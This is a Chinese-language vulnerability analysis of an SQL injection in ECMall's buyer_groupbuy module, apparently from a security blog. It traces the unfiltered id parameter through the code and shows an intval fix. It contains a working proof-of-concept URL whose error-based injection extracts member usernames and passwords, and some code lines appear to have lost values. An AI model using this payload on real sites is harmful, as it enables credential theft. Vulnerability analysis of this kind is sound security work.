catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

2. 漏洞触发条件

0x1: POC

http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b

3. 漏洞影响范围
4. 漏洞代码分析

/app/buyer_groupbuy.app.php

function exit_group()
{
//未对$id进行规范化过滤,导致攻击者可以传入非int型数据
$id = empty($_GET['id']) ? : $_GET['id'];
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

跟进if (!$this->_ican($id, ACT))

function _ican($id, $act = '')
{
$state_permission = array(
GROUP_PENDING => array(),
GROUP_ON => array('view', 'exit_group'),
GROUP_END => array('view'),
GROUP_FINISHED => array('view', 'buy'),
GROUP_CANCELED => array('view')
); $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
'conditions' => 'gb.group_id=' . $id, //传入未过滤的$id参数
'order' => 'gb.group_id DESC',
'fields' => 'gb.state,groupbuy_log.order_id'
)));
if (!$group)
{
return false; // 越权或没有该团购
}
else
{
$state_permission[GROUP_FINISHED] = $group['order_id'] > ? array('view', 'view_order') : array('view', 'buy');
}
if (empty($act))
{
return $state_permission[$group['state']]; // 返回该团购此状态时允许的操作
}
return in_array($act, $state_permission[$group['state']]) ? true : false; // 该团购此状态是否允许执行此操作
}

继续跟进$this->_member_mod->getRelatedData
/eccore/model/mode.base.php

function getRelatedData($relation_name, $ids, $find_param = array())
{
$relation_info = $this->getRelation($relation_name);
$model =& m($relation_info['model']);
if (empty($ids))
{
$this->_error('no_ids_to_assoc', $model->getName()); return false;
} if ($relation_info['type'] != HAS_MANY && $relation_info['type'] != HAS_AND_BELONGS_TO_MANY)
{
$this->_error('invalid_assoc_model', $model->getName()); return false;
} $alias = $model->alias;
/* 如果是多对多关系,则连接的表的别名为指定别名或中间表名,否则为模型的别名 */
if ($relation_info['type'] == HAS_AND_BELONGS_TO_MANY)
{
$be_related = $model->getRelation($relation_info['reverse']);
$alias = isset($be_related['alias']) ? $be_related['alias'] : $be_related['middle_table'];
} /* 构造查询条件 */
$conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定
$conditions .= $relation_info['ext_limit'] ?
' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
: '';
$conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
$find_param['conditions'] = $conditions; /* 查询字段 */
$find_param['fields'] = !empty($find_param['fields']) ?
$find_param['fields'] . ',' . $alias . '.' .$relation_info['foreign_key']
: '';
switch ($relation_info['type'])
{
case HAS_MANY:
break;
case HAS_AND_BELONGS_TO_MANY:
$find_param['join'] = !empty($find_param['join']) ?
$find_param['join'] . ',' . $relation_info['reverse']
: $relation_info['reverse'];
empty($find_param['order']) && $find_param['order'] = $model->alias . ".{$model->prikey} DESC";
$find_param['index_key'] = array($relation_info['foreign_key'], $model->prikey);
break;
} return $model->find($find_param);
}

5. 防御方法

/app/buyer_groupbuy.app.php

function exit_group()
{
//通过intval进行规范化过滤
//$id = empty($_GET['id']) ? 0 : $_GET['id'];
$id = empty($_GET['id']) ? : intval( $_GET['id'] );
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
} // 判断是否能退团
if (!$this->_ican($id, ACT))
{
$this->show_warning('Hacking Attempt');
return;
}
$member_mod = &m('member');
$member_mod->unlinkRelation('join_groupbuy', $this->visitor->info['user_id'], $id);
$this->show_message('exit_groupbuy_succeed');
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

ECMall /app/buyer_groupbuy.app.php SQL Injection Vul的更多相关文章

  1. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  2. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  3. discuz /faq.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . 通过获取管理员密码 . 对管理员密码进行破解.通过在cmd5.com ...

  4. ecshop /goods.php SQL Injection Vul

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: poc http://localhost ...

  5. ecshop /category.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Relevant Link: http://sebug.net/vuld ...

  6. ecshop /api/client/api.php、/api/client/includes/lib_api.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECShop存在一个盲注漏洞,问题存在于/api/client/api. ...

  7. ecshop /flow.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏 ...

  8. ecshop /includes/modules/payment/alipay.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/ ...

  9. dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 . php magic_quotes_gpc= ...

随机推荐

  1. Hadoop: MapReduce2的几个基本示例

    1) WordCount 这个就不多说了,满大街都是,网上有几篇对WordCount的详细分析 http://www.sxt.cn/u/235/blog/5809 http://www.cnblogs ...

  2. FastFourierTransform (FFT)

    FastFourierTransform.h #pragma once #include <stdio.h> #include <math.h> #ifndef INCLUDE ...

  3. PhoneGap: Android平台入门例子(Hello World)

    Hello World Demo: http://docs.phonegap.com/en/2.0.0/guide_getting-started_android_index.md.html#Gett ...

  4. 矩阵求逆算法及程序实现(C++)

    在做课题时,遇到了求多项式问题,利用了求逆方法.矩阵求逆一般使用简单的算法,还有快速算法 如全选主元高斯-约旦消元法,但本文程序主要写了简单的矩阵求逆算法定义法之伴随矩阵求逆公式如下,其中A可逆: , ...

  5. python2.1-原理之琐碎技巧

    本系列依据<python学习手册第四版>而写,也算是个学习笔记吧,选择本书的原因在于它不同于第三版,它强调介绍python3.0 ,而会在不同的地方给出2.6版本的区别,:本书侧重介绍原理 ...

  6. OpenCV中的神器Image Watch

    Image Watch是在VS2012上使用的一款OpenCV工具,能够实时显示图像和矩阵Mat的内容,跟Matlab很像,方便程序调试,相当好用.跟VS2012配合使用,简直就是一款神器!让我一下就 ...

  7. 用jQuery File Upload做的上传控件demo,支持同页面多个上传按钮

    需求 有这么一个需求,一个form有多个文件要上传,但又不是传统的图片批量上传那种,是类似下图这种需求,一开始是用的swfupload做的上传,但是问题是如果有多个按钮的话,就要写很多重复的代码,于为 ...

  8. java并发:简单面试问题集锦

    多线程:Simultaneous Multithreading,简称SMT. 并行.并发 并行性(parallelism)指两个或两个以上的事件在同一时刻发生,在多道程序环境下,并行性使多个程序同一时 ...

  9. python作为一种胶水和c/c++

    如果需要用 Python 调用 C/C++ 编写的第三方库,只需要一个脚本语言来粘合它们.这个时候,用 Python ctypes 可以很方便地实现调用. StackOverflow 上的 Calli ...

  10. c++中STL库简介及使用说明

    作为C++标准不可缺少的一部分,STL应该是渗透在C++程序的角角落落里的.STL不是实验室里的宠儿,也不是程序员桌上的摆设,她的激动人心并非昙花一现.本教程旨在传播和普及STL的基础知识,若能借此机 ...